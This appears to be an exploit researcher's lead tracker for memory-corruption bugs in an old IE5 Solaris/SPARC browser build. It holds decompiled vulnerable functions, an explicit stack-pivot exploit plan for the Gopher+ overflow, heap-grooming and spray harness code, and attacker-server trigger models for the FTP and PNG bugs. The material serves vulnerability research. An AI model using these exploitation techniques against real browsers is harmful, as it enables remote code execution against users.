This file is a self-contained snapshot of the bug families currently tracked in LEADS.md.
It is meant to preserve what is actually known today: bug class, reachability story, supporting decompilation, and current status.
The snippets below are trimmed from the current decompiler corpus for readability. Variable names are Ghidra's unless otherwise noted.
This is still the most important area. There are at least two real bug families here:
- the intended
FUN_0004e1c8Gopher+ attribute parser overwrite candidate - a separate malformed-line bug in
FUN_0004daccthat was accidentally confounding older+VIEWSrepros
Current model:
FUN_0004e1c8reads the first Gopher+ body line into a local stack buffer- it then keeps reading more lines through a movable write pointer
local_408 - if the first line is shaped so that
local_408ends up near the end of the local buffer, the next line read can spill out of the callee frame and into the caller frame - the caller's
local_120is the most important downstream target
The callee owns a 0x400-byte line buffer and reuses a movable pointer into it:
char local_48c [36];
char local_468 [92];
undefined4 local_40c;
char *local_408;
char local_404 [5];
local_4 = 0x400;
local_408 = local_404;
FUN_0004eba0(param_1,local_404,&local_4,param_1 + 0x20);
...
local_4 = 0x400;
FUN_0004eba0(param_1,local_408,&local_4,&local_40c);The line reader itself copies attacker bytes until CR/LF and then forcibly appends \r\n\0:
for (...; ((cVar2 != '\r' && (cVar2 != '\n')) && (uVar7 != 0)) && (iVar5 != 0); ...) {
*pcVar6 = *pcVar4;
cVar2 = pcVar4[1];
pcVar4 = pcVar4 + 1;
pcVar6 = pcVar6 + 1;
}
...
if (cVar2 == '\n') {
pcVar6[2] = '\0';
*pcVar6 = '\r';
pcVar4 = pcVar4 + 1;
iVar5 = iVar5 + -1;
pcVar6[1] = '\n';
uVar7 = uVar7 - 3;
pcVar6 = pcVar6 + 3;
}That \r\n\0 matters. The current overwrite math is based on landing the second line so that bytes 0x3f8..0x3fb from that line hit caller local_120, while the forced terminator lands after it.
The caller really does use local_120 immediately after returning from FUN_0004e1c8:
FUN_0004c2b4(puVar6,0xff010102,iVar4,(local_c[0] & 0x80000000) != 0,2,&local_120);
...
if ((param_3 == 0) ||
(puVar7 = local_120, FUN_0004e1c8(local_120,param_3), local_11c = puVar7,
puVar7 == (undefined1 *)0x0)) {
param_1 = *(size_t *)(local_120 + 0xc);
}
else {
FUN_00050a20(local_120);
}Why this is still the best lead:
- HTTP
302togopher://...is confirmed live on the current workstation image - the browser reaches the attacker gopher server
- live breakpoints confirmed that
+INFOgets the current test shape pastFUN_0004c2b4and into liveFUN_0004e1c8 - the decompiler corpus is consistent with the caller/callee stack geometry that makes caller
local_120reachable
Current status:
- still the top lead
- no longer just "a save-area overwrite that later survives into abort"
- the strongest current path is the cleaned
+\r\n+INFO:route into aFUN_0004bdc8/FUN_0004a5b8saved-window overwrite, followed by a state flip that turns the copied%i*set into a live interrupted frame
The old window-map marker payload showed that the preserved %i0-%i7 half of
the overwritten FUN_0004a5b8 save area is cleanly controllable. A later
variant showed something stronger: one of those copied words changes how later
exception handling consumes that saved window.
Starting from the marker block:
AAAA BBBB CCCC DDDD EEEE FFFF GGGG HHHH
IIII JJJJ KKKK LLLL MMMM NNNN OOOO PPPP
patching only JJJJ = 1 changed the observed interrupted frame to:
ec03a690 ???????? (49494949, 1, 4b4b4b4b, 4c4c4c4c, 4d4d4d4d, 4e4e4e4e)
That means the copied saved %i0-%i5 values became the live arguments of the
resumed FUN_0004a5b8 frame at live 0xec03a690, old address 0x4a690.
The first pass on this was mislocalized to old 0x3a634; the fresh JJJJ = 1
core fixes that. Its captured faulting PC is 0xec03a6b8, old 0x4a6b8, at:
lduw [i0+0x130], g2
The same core also captures the fault address 0x49494a79, exactly
0x49494949 + 0x130, which proves copied %i0 / IIII really became live
i0.
This gives a much more concrete exploit plan than the original "later signal consumer" theory:
- set the copied state word
JJJJ = 1 - make copied
%i0/IIIIpoint0x130bytes before attacker-controlled stack memory - keep copied
%l2/CCCCnonzero so the resumed frame skips the deeper helper path - use the following
ret; restorewith attacker-controlled copied%i6/%i7as the first real fake-frame pivot
The first direct probe for that corrected return path is
tmp/gopher-j1-i0sig-ret0.bin, which points IIII to 0xebfc0170 so that
i0 + 0x130 lands on the second controlled saved-window copy at 0xebfc02a0,
keeps JJJJ = 1, and supplies a plausible next fake-frame pointer in OOOO.
Current status:
- confirmed state flip into a live interrupted frame
- corrected mapping: the resumed frame is
FUN_0004a5b8, not the earlier temporary0x3a634guess - not yet proven all the way through a clean return from the resumed
FUN_0004a5b8frame
This is a separate bug from the intended FUN_0004e1c8 overwrite. It is important because it explained a large amount of misleading crash behavior in earlier +VIEWS probes.
FUN_0004dacc assumes the line contains tab separators and does pointer arithmetic on the result of memchr(..., '\t', ...) without a null check:
sVar1 = strlen(param_1);
...
param_1 = param_1 + 1;
pvVar2 = memchr(param_1,9,sVar1 - 1);
sVar6 = (int)pvVar2 - (int)param_1;
if (param_3 != (void *)0x0) {
if (*param_4 <= sVar6) {
return ZEXT48(param_2) << 0x20;
}
memcpy(param_3,param_1,sVar6);
*(undefined1 *)((int)param_3 + sVar6) = 0;
*param_4 = sVar6;
}FUN_0004c904 feeds raw gopher directory lines into that parser when synthesizing a URL:
memcpy(param_2,s_gopher____000e58e4,9);
...
FUN_0004dacc(param_1,auStack_830,0,0,auStack_934,&local_828,auStack_a38,&local_82c,&local_a3c,
&local_a40);
...
memcpy((void *)((int)param_2 + 9),auStack_a38,local_82c);Why this mattered dynamically:
- a live trace on
FUN_0004daccshowed it being called on:- normal menu lines such as
7\tfoo\t10.0.2.2\t70\t+\r\n +INFO: 1test\tfoo\t10.0.2.2\t70\r\n- bare
+VIEWS:\r\n
- normal menu lines such as
- bare
+VIEWS:\r\nhas no tabs, so it goes straight into this malformed-line path - replacing the hardcoded bare header with a tab-compliant line such as
+VIEWS: \tfoo\t10.0.2.2\t70\r\nstopped the immediate crash in a fresh broker-style VM
Current status:
- confirmed real
- currently a confounder to avoid, not the intended exploitation path
This is not a separate input bug, but it is an important downstream sink if lead 1.1 really gives control of caller local_120.
FUN_00050a20 contains a classic unlink-style write sequence on attacker-controlled fields:
if (param_1[6] == 0) {
iVar3 = *param_1;
piVar1 = (int *)param_1[1];
*piVar1 = iVar3;
*(int **)(iVar3 + 4) = piVar1;
FUN_00049a84(param_1[9]);
...
LocalFree(param_1);
}If local_120 can be replaced with a fake object, this becomes a plausible write-what-where pivot or a fake-vtable setup step. Prior notes specifically called out DAT_000ea800 as a candidate downstream target because it is a globally used pointer that later dispatches through a vtable.
Current status:
- exploitation-relevant
- depends entirely on proving 1.1 at runtime
This lead is real enough to keep near the top of the list, but it is less closed-out than the gopher path.
The current static anchor is FUN_0005e7a0, which allocates two temp arrays for sort bookkeeping, one of them as param_4 * 0x18 bytes:
__ptr = malloc(param_4 * 4);
if (__ptr == (undefined4 *)0x0) { ... }
__s = malloc(param_4 * 0x18);
if (__s == (uint *)0x0) { ... }
memset(__s,0,param_4 * 0x18);
FUN_00079df4(&local_20,__s,param_4,0x18,8);The comparator-driven caller path does select this helper when a user-controlled compare function is present:
if (*param_5 == 0x4a) {
piVar5 = *(int **)(param_5 + 4);
...
piVar1[0x15] = piVar1[0x15] & 0xfffffffdU | 2;
FUN_0005e7a0(param_1,piVar1,piVar5,local_30,local_3c);
piVar1[0x15] = piVar1[0x15] & 0xfffffffd;
}What the prior dynamic work established:
jssort.html?mode=borrow&count=23consistently reachedafter-sortjssort.html?mode=borrow&count=24could crash or abortiexplorer- the no-comparator path also mattered; one prior run saved
tmp/live-nocmp24-abrt.core - saved artifacts from the earlier session include:
tmp/ie-borrow24.coretmp/ie-borrowobj24.coretmp/ie-borrowstr24.coretmp/jsgcprobe-postgc.coretmp/live-nocmp24-abrt.core
The working model is not just "sort sometimes crashes". It is:
- trigger a sparse / borrowed sort-specific corruption condition
- preserve liveness at the
23-ish boundary long enough to groom adjacent heap state - force GC and refill the damaged region with target objects
The unresolved part is the post-corruption target. The old session oscillated between:
- allocator metadata poisoning
- reuse of a freed
0x60Array-like header or related JScript object
Current status:
- strong dormant lead
- still missing a fresh, end-to-end explanation of which object or allocator structure is actually getting corrupted
This is the strongest parked non-gopher lead because the sinks themselves look real and easy to believe. The missing piece is final browser-visible reachability.
This function temporarily zero-terminates the path four bytes before the file name component:
iVar2 = *(int *)(param_1 + 4);
PathFindFileNameW();
uVar6 = *(undefined4 *)(iVar2 + -4);
*(undefined4 *)(iVar2 + -4) = 0;
...
GetTempFileNameW(uVar1,iVar2,0,auStack_1000);
...
*(undefined4 *)(iVar2 + -4) = uVar6;If PathFindFileNameW() returns a pointer to the first character of a bare filename, then *(iVar2 - 4) = 0 is an underwrite into the preceding heap cell, not an in-bounds temporary terminator inside the same string object.
Current status:
- the sink looks real
- what remains open is whether the browser-facing SaveAs path can hand this helper a leaf-only filename, or whether it always normalizes to a full path first
This helper skips whitespace and then copies either a quoted token or an unquoted token into the caller's buffer. The quoted path has a late bound check; the unquoted path does not.
Quoted-token copy:
if (param_2 + 0xffe <= piVar6) {
return CONCAT44(param_2,0x80020009);
}
...
*piVar6 = *piVar5;
piVar6 = piVar6 + 1;Unquoted-token copy:
do {
if (iVar1 < 0xd) {
if (iVar1 - 9U < 2) break;
}
else if ((iVar1 == 0xd) || (iVar1 == 0x20)) break;
piVar2 = piVar5;
CharNextW();
*param_1 = piVar2;
if (piVar5 < piVar2) {
iVar1 = *piVar5;
while( true ) {
*piVar6 = iVar1;
piVar5 = piVar5 + 1;
piVar6 = piVar6 + 1;
...
}
}
...
} while (iVar1 != 0);The important point is that the unquoted branch keeps advancing piVar6 without any length clamp of its own. The surrounding parser calls this helper repeatedly from large dispatcher functions such as FUN_002ae470, often with fixed stack buffers.
Current status:
- good sink
- exact JS-visible
window.externalbinding still needs to be rediscovered cleanly
This helper grows a token/output buffer, but when it calls CoTaskMemRealloc it does not reliably replace the local working pointer with the returned pointer before continuing to write:
if (local_c == local_8) {
local_8 = local_8 << 1;
CoTaskMemRealloc(local_4,iVar4);
}
...
*(int *)(local_4 + local_c * 4) = *piVar3;and later again:
if (local_c == local_8) {
local_8 = local_8 << 1;
CoTaskMemRealloc(iVar4,iVar1);
local_4 = iVar4;
}
*(int *)(local_4 + local_c * 4) = *piVar3;If CoTaskMemRealloc moves the allocation, subsequent writes still go through the stale pointer held in local_4 / iVar4.
Current status:
- good sink
- same reachability problem as 3.2
This path looks stronger than it first seemed because the vulnerable helper chain is definitely real and definitely reaches IDispatchEx-backed attacker-controlled properties.
The top-level print entry does call the internal print helper:
if (-1 < (int)piVar3) {
piVar4 = piVar2;
FUN_0024a694(piVar2,param_3,0,0x47,0);
}Inside FUN_0024a694, the print settings helper FUN_00258708 is called on the objects it is building:
if (local_1038 == 0) {
pppiVar16 = &local_1058;
FUN_00258708(pppiVar16,0,param_1,1);
if (pppiVar16 != (int ***)0x0) goto LAB_0024b130;
}
...
ppppiVar14 = (int ****)&local_1058;
FUN_00258708(ppppiVar14,local_50b4,param_1,0);The property lookup wrapper FUN_00257ec0 explicitly queries IID_IDispatchEx and invokes a named property:
(**(code **)(*param_4 + 8))(param_4,&IID_IDispatchEx,&local_14);
if (((param_4 == (int *)0x0) &&
(param_4 = local_14, (**(code **)(*local_14 + 0x24))(local_14,param_1,1,&local_18),
param_4 == (int *)0x0)) &&
((param_4 = local_14,
(**(code **)(*local_14 + 0x28))(local_14,local_18,0x400,2,&local_10,param_2,0,0),
param_4 == (int *)0x0 && (*param_2 != param_3)))) {
param_4 = (int *)&DAT_80070057;
}FUN_00258708 then uses that wrapper to fetch printToFileOk and printToFileName, and copies the returned file name with an unbounded wcscpy into a fixed-offset field inside the print/settings object:
pwVar8 = u_printToFileOk_00533104;
FUN_00257ec0(u_printToFileOk_00533104,auStack_1118,0xb,local_4);
...
pwVar8 = u_printToFileName_0053313c;
FUN_00257ec0(u_printToFileName_0053313c,auStack_1118,8,local_4);
if ((pwVar8 == (wchar_t *)0x0) && (local_1110 != (wchar_t *)0x0)) {
wcscpy(param_1 + 0xf,local_1110);
...
}That is the core of the bug: attacker-controlled BSTR, retrieved through a dynamic dispatch object, copied into a fixed field with no length check.
Current status:
- strong sink
- still missing the cleanest proof of how script injects the malicious dispatch object into exactly this print pipeline on this Solaris build
The navigation dispatcher does pass attacker-controlled URL and target strings into HlinkFrameNavigateNHL:
if (param_6 == 0) {
HlinkFrameNavigateNHL(piVar5,0,0,0,param_8,param_3);
}Inside HlinkFrameNavigateNHL, the URL is copied into a fixed stack buffer and the target string is then copied starting at an offset derived from the URL length:
undefined1 auStack_3914 [2084];
undefined1 auStack_30f0 [8336];
...
StrCpyNW(auStack_30f0,param_5,0x824);
if (((param_6 != (int *)0x0) && (*param_6 != 0)) && (2 < 0x824U - iVar4)) {
StrCpyNW(auStack_30f0 + iVar4 * 4,param_6,0x823 - iVar4);
}The key problem is the unsigned arithmetic in 0x824U - iVar4. If the URL length iVar4 is already larger than 0x824, that subtraction underflows and the guard can still pass. The subsequent destination auStack_30f0 + iVar4 * 4 is then beyond the fixed stack buffer.
Current status:
- strong static signal
- current dynamic repros on the recovered image have been negative or flaky
This helper copies the URL prefix up to UrlGetLocationW() into a fixed 2084-wchar stack buffer, but it uses the byte distance between pointers as the copy count:
int aiStack_2090 [2084];
...
StrCpyNW(aiStack_2090,param_2,
((int)(((int)piVar2 - (int)param_2) + ((int)piVar2 - (int)param_2 >> 0x1f & 3U)) >> 2)
+ 1);If the hostname or pre-# portion is longer than the stack buffer, StrCpyNW will happily walk off the end.
Current status:
- good static candidate
- live repros have not yet yielded a clean crash on the current image
The earlier top-level Content-Type repro likely exercised the wrong entry point, but the underlying sinks are still very real.
This helper converts a wide Content-Type string to multibyte and appends it to "MIME\\Database\\Content Type\\" inside a fixed 156-byte stack buffer:
undefined1 auStack_4ac [1024];
char acStack_a8 [156];
...
WideCharToMultiByte(0,0,param_1,0xffffffff,pcVar2,pcVar1,0,0);
...
strcpy(acStack_a8,s_MIME_Database_Content_Type__000e8c79);
strcat(acStack_a8,local_c);
RegOpenKeyExA(0x80000000,acStack_a8,0,1,&local_4);That is a plain stack overflow if the converted MIME string is long enough.
Current status:
- real sink
- likely not the right path for ordinary top-level HTML navigation on this build, because the bind-layer cached type seems to get capped before this helper sees it
There is a second copy of the same strcpy + strcat bug in the MIME-to-CLSID lookup path:
undefined1 auStack_1a8 [256];
char acStack_a4 [156];
...
if (*param_1 != '\0') {
strcpy(acStack_a4,s_MIME_Database_Content_Type__000f5964);
strcat(acStack_a4,param_1);
RegOpenKeyExA(0x80000000,acStack_a4,0,1,&local_4);
...
}The interesting reachability edge is that urlmon does feed multibyte MIME strings into this helper when resolving class activation:
WideCharToMultiByte(0,0,param_4,0xffffffff,auStack_400,0x400,0,0);
puVar7 = auStack_400;
if (iVar4 != 0) {
FUN_000901a8(puVar7,param_2,0);
}That makes the narrower current hypothesis:
- the simple top-level
/ctrepro was probably wrong - the more interesting route is
OBJECT/ plugin / ActiveX class activation throughCoGetClassObjectFromURL(szType)and its helpers
Current status:
- still worth revisiting
- likely the right way to reopen this family if gopher and JScript stall
This lead is no longer just a vague remembered cluster. The supporting corpus was moved out of the main repo to avoid confusion and now lives at:
/Users/moyix/ie5-solaris-autoscan
The central surface is window.external.AutoScan(search, failureUrl, targetName).
The moved lab pages show that the earlier work was systematically varying the named target object that AutoScan resolves:
- a named iframe
- a popup window
- a popup that is immediately closed
- an
<object>with the browser control CLSID - reentrant helper actors that remove, replace, or navigate the target during the scan
The simplest target-lab page makes that explicit:
function go() {
var mode = qp("mode", "iframe");
var term = qp("term", "foo");
var target = qp("target", "A");
...
setup(mode);
window.setTimeout(function () {
try {
b("autoscan-start-" + mode);
var r = window.external.AutoScan(term, fail, target);
b("autoscan-ret-" + mode + "-" + escape(String(r)));
} catch (e) {
b("autoscan-err-" + mode + "-" + escape(String(e && e.number ? e.number : e)));
return;
}
b("autoscan-done-" + mode);
}, 1000);
}The object-spray harness shows the same call wrapped in heap grooming and target fabrication:
b("start-" + spray);
if (spray == "string") sprayStrings(tag, count, size);
else if (spray == "html") sprayHtml(tag, count, size);
else if (spray == "names") sprayNames(tag, count, size);
else if (spray == "objects") sprayObjects(tag, count, size);
...
setupTargets(kind, target, navurl, madeStage, madeRaw, copies, sameName, actionUrl, inputValue, textValue, imgSrc);
...
window.setTimeout(function () {
...
var r = window.external.AutoScan(term, fail, target);
...
}, delay);The reentrant harnesses confirm that one major hypothesis was time-of-check/time-of-use instability around the named target:
function fire() {
beacon("start-0-" + target);
try {
var ret = window.external.AutoScan(search, failure, target);
beacon("ret-0-" + escape(String(ret)));
} catch (e) {
beacon("err-0-" + escape(String(e && e.number ? e.number : e)));
return;
}
beacon("done-0");
}and the helper actor can remove or navigate the target while the scan is in flight.
The moved corpus contains:
- browser/broker runs under
/Users/moyix/ie5-solaris-autoscan/broker-work - HTML probes under
/Users/moyix/ie5-solaris-autoscan/host-web - many recovered Solaris/SPARC cores under
/Users/moyix/ie5-solaris-autoscan/tmp
The core names are already informative:
object-core-input1.elf,object-core-input2.elf, ...object-core-form1.elf,object-core-form2.elf, ...object-core-longurl1.elf, ...object-core-target1.elfpopup-core.elfwarm-groom-object1.elf,warm-groom-input1.elf, ...submission-input-*.elf
So the historical work was not just a single crash page. It was a deliberate matrix over target kind, naming collisions, warm-grooming, long URLs, and reentrant target mutation.
The moved helper /Users/moyix/ie5-solaris-autoscan/tmp/analyze_object_core.py explicitly describes itself as:
"""Inspect the object-target AutoScan crash shape in a Solaris/SPARC core."""It hard-codes a specific caller-frame depth and then inspects a caller local called local_4 plus the first dword reachable through it:
FRAME_INDEX = 8
...
auto_fp = chain[FRAME_INDEX][0]
...
local_4 = read_u32(segs, auto_fp - 4) or 0
first = read_u32(segs, local_4) or 0
print("auto_fp=%08x local_4=%08x first_dword=%08x" % (auto_fp, local_4, first))That tells us the earlier work had already identified a stable crash shape in which some AutoScan caller frame local was the interesting object pointer to inspect.
One recovered rollout analyzed object-core-input1.elf and found:
auto_fp=efff6ca0local_4=001de948first_dword=001ff240
and the memory at first_dword contained the beacon URL fragment associated with the target that had just been fabricated:
001ff240: 00 00 01 20 41 63 63 65 ...
001ff270: ... 00 00 00 62 00 00 00 6f 00 00 00 64
001ff280: 00 00 00 79 00 00 00 3d 00 00 00 6f 00 00 00 6b
001ff290: 00 00 00 26 00 00 00 73 00 00 00 74 00 00 00 61
001ff2a0: 00 00 00 67 00 00 00 65 00 00 00 3d 00 00 00 74
001ff2b0: 00 00 00 61 00 00 00 72 00 00 00 67 00 00 00 65
001ff2c0: 00 00 00 74 00 00 00 2d 00 00 00 6d 00 00 00 61
001ff2d0: 00 00 00 64 00 00 00 65 00 00 00 2d 00 00 00 69
001ff2e0: 00 00 00 6e 00 00 00 70 00 00 00 75 00 00 00 74
001ff2f0: 00 00 00 2d 00 00 00 49 00 00 00 4e 00 00 00 50
001ff300: 00 00 00 56 00 00 00 41 00 00 00 4c ...
That is not yet a root cause, but it does make the lead more concrete:
- the crash family really was centered on AutoScan's resolution or use of named targets
- at least some crashes were happening while dereferencing object state that still contained attacker-controlled target/beacon strings
I still do not have:
- a localized decompilation sink inside the AutoScan implementation
- a clean symbolic map from the analyzed
FRAME_INDEX = 8caller frame to a named function in the browser modules - a current exploitability ranking against the gopher, JScript, and SaveAs families
Current status:
- definitely real enough to keep in the bug catalogue
- materially better grounded than before now that the moved corpus is known
- still behind gopher and JScript until the crashing module/function is re-identified
This one is worth writing down because it is a straightforward stack overflow if the right COM object is instantiable in this build.
The helper queries IID_IFont, retrieves the font name BSTR, computes the string length, and then copies it into a 32-wchar stack buffer with that full length:
(**(code **)(*local_4 + 0x14))(local_4,&local_18);
...
memset(local_c0,0,0x9c);
__n = local_18;
FUN_0011804c();
wcsncpy(awStack_a4,local_18,(size_t)__n);awStack_a4 is only 32 wide chars. If an attacker can supply an IFont object whose Name BSTR is longer than that, this becomes a direct stack overwrite.
Current status:
- concrete sink
- parked only because the right script-visible / ActiveX-visible route to an
IFontprovider on this Solaris build has not been re-validated yet
This lead was originally found by the first libwininet URL survey and later reinforced by a more FTP-focused subagent. The important part was not "FTP parsing seems messy" in the abstract. The memorable bug family was that libwininet appears to synthesize HTML directory listings for ftp:// content with fixed stack buffers and wsprintfA, using attacker-controlled path and listing text.
There are two concrete sinks.
This helper parses the current URL/path, loads a localized format string, and then builds the page heading and outer HTML in stack buffers.
Relevant decompilation:
local_18 = strlen(local_8);
...
FUN_000bd7bc(local_135c,0,0,0,0,0,&local_1c,&local_20,0,0,0,0,0,&local_8,&local_18,0,0,0);
...
LoadStringA(DAT_000ea5e0,0x1d,local_1ec,200);
wsprintfA(local_ab8,local_1ec,local_8,auStack_124);
...
puVar3 = auStack_eb8;
wsprintfA(puVar3,s_<_DOCTYPE_HTML_PUBLIC_____IETF___000eb484,local_ab8,local_ab8);The structure matters:
local_8is the parsed URL pathauStack_124holds another URL-derived string built earlier in the same helperlocal_ab8is a first-stage formatted stringauStack_eb8is only a 1024-byte stack buffer, but it is populated fromlocal_ab8twice by a secondwsprintfA
So the danger is not just one unchecked format into a fixed buffer. It is a two-stage expansion:
- attacker-controlled URL/path text is formatted into
local_ab8 - that already-expanded string is then injected into the final HTML template in
auStack_eb8
If the path or related URL components are long enough, the second wsprintfA is the cleaner-looking smash candidate.
This helper appears to synthesize one HTML row per listing entry. It first constructs a URL-ish path in a large local buffer and then formats the final anchor row into a fixed 2084-byte stack buffer.
Relevant decompilation:
sVar3 = strlen(param_2);
uVar1 = -(uint)(sVar3 < 0x823) & sVar3 - 0x823;
__n = uVar1 + 0x823;
memcpy(&uStack_82c,param_2,__n);
...
sVar3 = strlen((char *)puVar4);
uVar2 = 0x823 - __n;
sVar3 = (-(uint)(sVar3 < uVar2) & sVar3 - uVar2) + uVar2;
memcpy(auStack_82b + uVar1 + 0x822,puVar4,sVar3);
...
puVar6 = auStack_10c4;
wsprintfA(puVar6,pcVar9,auStack_890,pcVar7,&uStack_82c,param_3);
if ((undefined1 *)*param_5 < puVar6) {
...
return CONCAT44(param_2,0x7a);
}
memcpy(param_4,auStack_10c4,(size_t)puVar6);The late check is the key problem. Whatever size accounting *param_5 is supposed to provide happens after wsprintfA has already written into auStack_10c4.
The attacker-controlled ingredients are good enough for a real lead:
param_2: current directory pathpuVar4/ appended text: listing-derived path componentparam_3: listing-entry text used in the final row formatter
That gives an attacker two knobs:
- a long navigated
ftp://attacker/<path> - long server-controlled listing names inside the generated directory page
The original trigger model was an attacker-controlled page that causes IE to navigate or embed ftp://attacker/<long-path>, for example with:
<iframe src="ftp://attacker/...">- direct navigation
- an HTTP redirect into
ftp://
Then the attacker FTP server supplies long path components and/or long entry names so the generated HTML listing overflows during synthesis.
There were also separate lower-level FTP findings in the old survey, including LIST parser oddities and a one-byte line-reader issue, but the two functions above are the remembered core of the lead because they are straightforward fixed-stack wsprintfA sinks.
Current status:
- statically strong
- not yet freshly revalidated on the recovered workstation image
- still gated on whether
ftp://navigation from attacker-controlled HTML is practical enough in this build to make the sink worth promoting
This lead came from the dedicated image subagent. It is actually two connected bugs on a very cheap trigger surface: normal image decode.
The recovered understanding is:
libpngfilttrusts oversized PNG dimensions and computes row sizes with 32-bit arithmetic- the decoded image then flows into
libimgutil, where a dither/error-row allocation can also wrap on width
This helper copies image metadata into the live decode state, computes rowbytes, and allocates two row buffers from that size.
Relevant decompilation:
memcpy((void *)(param_1 + 0x84),(void *)(param_1 + 0x138),0x10);
...
iVar3 = *(int *)(param_1 + 0x84);
iVar2 = iVar3;
_umul(iVar3,*(undefined4 *)(param_1 + 0xc4));
uVar4 = iVar2 + 7U >> 3;
*(uint *)(param_1 + 0xbc) = uVar4;
...
iVar2 = uVar4 + 1;
__1c2N6FI_pv_();
*(int *)(param_1 + 0xb0) = iVar2;
...
iVar2 = *(int *)(param_1 + 0xbc) + 1;
__1c2N6FI_pv_();
*(int *)(param_1 + 0xac) = iVar2;The exact decompiler output is a little rough, but the structure is clear:
- width comes from the parsed PNG IHDR state copied to
param_1 + 0x84 - that width is multiplied by a per-pixel/bit-depth field at
param_1 + 0xc4using_umul - the result is converted into rowbytes
- two row-sized heap buffers are then allocated from that truncated value
So an oversized PNG width can produce a tiny allocation followed by row processing that still assumes the true logical width.
The downstream image path contains a second width-derived allocation bug in the RGB8/RGB24 conversion or dither setup helper.
Relevant decompilation:
if (iVar1 == 0) {
*(undefined4 *)(param_1 + 0x40) = 0;
*(undefined4 *)(param_1 + 0x38) = 0x18;
*(uint *)(param_1 + 0x2c) = param_2;
}
...
__s = (void *)((param_2 + 2) * 0x18);
__1c2N6FI_pv_();
*(void **)(param_1 + 0x4c) = __s;
...
*(int *)(param_1 + 0x50) = (int)__s + 0xc;
*(void **)(param_1 + 0x54) = (void *)((int)__s + (*(int *)(param_1 + 0x2c) + 3) * 0xc);
memset(__s,0,(*(int *)(param_1 + 0x2c) + 2) * 0x18);
...
FUN_00020284(piVar2,-*(int *)(param_1 + 0x30),0,*(undefined4 *)(param_1 + 0x38),0,0,
param_1 + 0x24,param_1 + 0x34);Here param_2 is the width. The helper:
- stores that width in
param_1 + 0x2c - allocates
((width + 2) * 0x18)bytes - derives additional row pointers from the same wrapped base
- clears the region with a matching wrapped
memset - then proceeds into downstream image setup with the original logical width still live
That is a second clean 32-bit wrap candidate. Even if the PNG-side row allocation did not immediately yield a useful overwrite, the dither/setup path has its own width-dependent memory corruption story.
The reason this family is attractive is that it does not depend on odd browser features like ftp:// or Gopher+.
FUN_00024cc8 hands the decode state into another helper before returning:
FUN_000256b8(param_1,0);
iVar2 = param_1;
FUN_000239b8();And FUN_000239b8 in turn dispatches into the downstream image sink:
piVar1 = (int *)param_1[0x1e];
(**(code **)(*piVar1 + 0x14))
(piVar1,param_1[0x21],param_1[0x22],auStack_14,param_1[0x2e],5,&local_4);So the intended trigger model is ordinary image loading, for example:
<img src="http://attacker/x.png">- CSS background images
- any other browser path that hands a PNG to the normal decoder
Current status:
- statically strong
- not yet re-run with the upgraded live-debug workflow
- attractive because trigger reach should be much cheaper than the FTP family and much less brittle than the Gopher+/navigation lines